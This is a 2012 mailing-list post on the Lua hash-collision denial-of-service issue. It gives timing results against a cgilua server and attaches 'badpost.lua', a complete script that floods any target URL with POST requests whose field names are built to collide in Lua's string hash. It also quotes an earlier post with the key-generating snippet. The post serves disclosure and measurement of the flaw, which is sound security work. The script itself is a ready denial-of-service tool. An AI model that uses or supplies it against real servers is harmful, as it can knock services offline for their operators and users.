Re: Hash Table Collisions (n.runs-SA-2011.004)

[David Favro <lua@...>]

I adapted Gé's colliding-key-generating scheme to make HTTP POST requests
(using LuaSocket).  I made some command-line parameters to easily set the
number of keys, aim it at a web-site, and in particular to easily choose
whether same-sized colliding or non-colliding (presumably) keys are
generated for comparison (code attached).

I then pointed it at a website running wsapi+cgilua with PUC-Lua 5.1.4 via
CGI under Apache.  Cgilua has a default 1MB limit on overall POST data size
[1]; if exceeded it rejects the request without parsing (the
application-level limit mentioned in previous posts of this thread).  By
using 32-byte-long post-fields with empty values, I can generate
approximately 30,840 fields in a POST without triggering the limit, at which
point the degenerate case does start to be felt, although not too severely.
 The server, running on a 3GHz Propus 640 takes about 91 seconds to process
the colliding keys vs. 11 seconds for the non-colliding keys, a factor of 8
-- hardly 11 hours but still disconcerting.  If shorter colliding keys were
generated, or the limit higher than 1MB, the result becomes pretty bad
because it's just starting to hit the steep part of the curve at 1MB,
there's a marked difference between say 27k and 30.8k fields.

By increasing the limit to 2MB (even larger is not unreasonable for any
"real world" application that allows file-upload), I sent 61k fields, which
required 359 seconds for colliding keys, 39 seconds for normal keys.  During
that time, the cgilua process has one core pegged.

At 4MB, the request was canceled after it exceeded the 10-minute timeout
configured for the Apache server to wait for a CGI script to respond [2].

Summary of times:

N fields  Body size  Non-colliding  Colliding
 30,840    1024k        11s            91s
 61,500    2042k        39s           359s
123,000    4084k       149s           ???

These numbers seem to be not far off those reported for other environments,
e.g. "500,000 bytes to keep the server busy for [one] minute [in PHP]" [3].

-- David

[1] http://keplerproject.github.com/cgilua/reference.html#setmaxinput
[2] http://httpd.apache.org/docs/trunk/mod/core.html#timeout
[3] http://lua-users.org/lists/lua-l/2011-12/msg00867.html

On 01/04/2012 08:04 PM, Gé Weijers wrote:
> Here's a simple program to demonstrate the effect:
> 
> local a = {}
> local last_time = os.clock()
> for i = 1, 2e6 do
>     local s = ("%016d"):format(i):gsub(".","%0_")
>     a[i] = s
>     if i % 10000 == 0 then
> local time = os.clock()
> io.write(("%d %.2fs (total %.2fs)\n"):format(i, time - last_time, time))
> io.flush()
> last_time = time
>     end
> end

--*- tab-width: 4 -*-
-----------------------------------------------------------------------------
--
-- badpost.lua
-- By David Favro
--
-- Generate HTTP POST requests with large number of fields crafted to collide in
-- Lua's hash function.
--
-- Usage: lua badpost.lua <url> [--no-collision] [<n-fields>] [<post-value>] [<n-posts>]
--
-- The default <post-value> is an empty string; default <n-fields> is 30840.
-- Note that <post-value> is passed through unmolested, so do your own escaping.
--
-----------------------------------------------------------------------------


local http = require("socket.http");


local def_nfields = 30840;

http.TIMEOUT = 9999;



-----------------------------------------------------------------------------
-- Send a POST request:
-----------------------------------------------------------------------------

local function do_post( url, nfields, post_val, do_col )

	local t1 = os.time();

	local post_rhs = "=" .. (post_val or '');
	local flds = {};

	for i = 1, nfields do

		table.insert( flds,
			("%016d"):format(i):gsub(".", do_col and "%0_" or "_%0") .. post_rhs );

		-- Avoid triggering the vulnerability on ourselves: we could
		-- alternatively use the "generic" interface to http.request(), which
		-- might avoid accumulating all of the post fields at once in memory.
		if (i%1000) == 0 then
			flds = { table.concat(flds,"&") };
			collectgarbage( "collect" );
			end

		end

	local req_body = table.concat(flds,"&");

	local t2 = os.time();

	io.stdout:write( "Ready to post: ", nfields, " ",
		do_col and "colliding" or "normal", " fields yields ",
		math.floor((#req_body+512)/1024), "k (", t2-t1, " seconds to generate).\n" );
	io.stdout:flush();

	local resp_body, code, headers = http.request( url, req_body );

	if not resp_body then
		io.stdout:write( "Error posting: ", code, '\n' );
		end

	local t3 = os.time();
	io.stdout:write( "Finished: ", t3-t2, " seconds to post",
					resp_body and (" (response size: "..#resp_body..")") or "",
					".\n" );

	end



-----------------------------------------------------------------------------
-- "Main program":
-----------------------------------------------------------------------------

if not (arg and #arg >= 1) then
	io.stderr:write( "Usage: ", arg[0] or '',
		" <url> [--no-collision] [<n-fields>] [<post-value>] [<n-posts>]\n" );
	return 1;
	end

local url = arg[1];

local do_col = true;
if arg[2] == "--no-collision" then
	do_col = false;
	table.remove( arg, 2 );
	end

local nfields = tonumber(arg[2]) or def_nfields;
local post_val = arg[3];
local n_posts = tonumber(arg[4]) or 1;

for j = 1, n_posts do
	do_post( url, nfields, post_val, do_col );
	end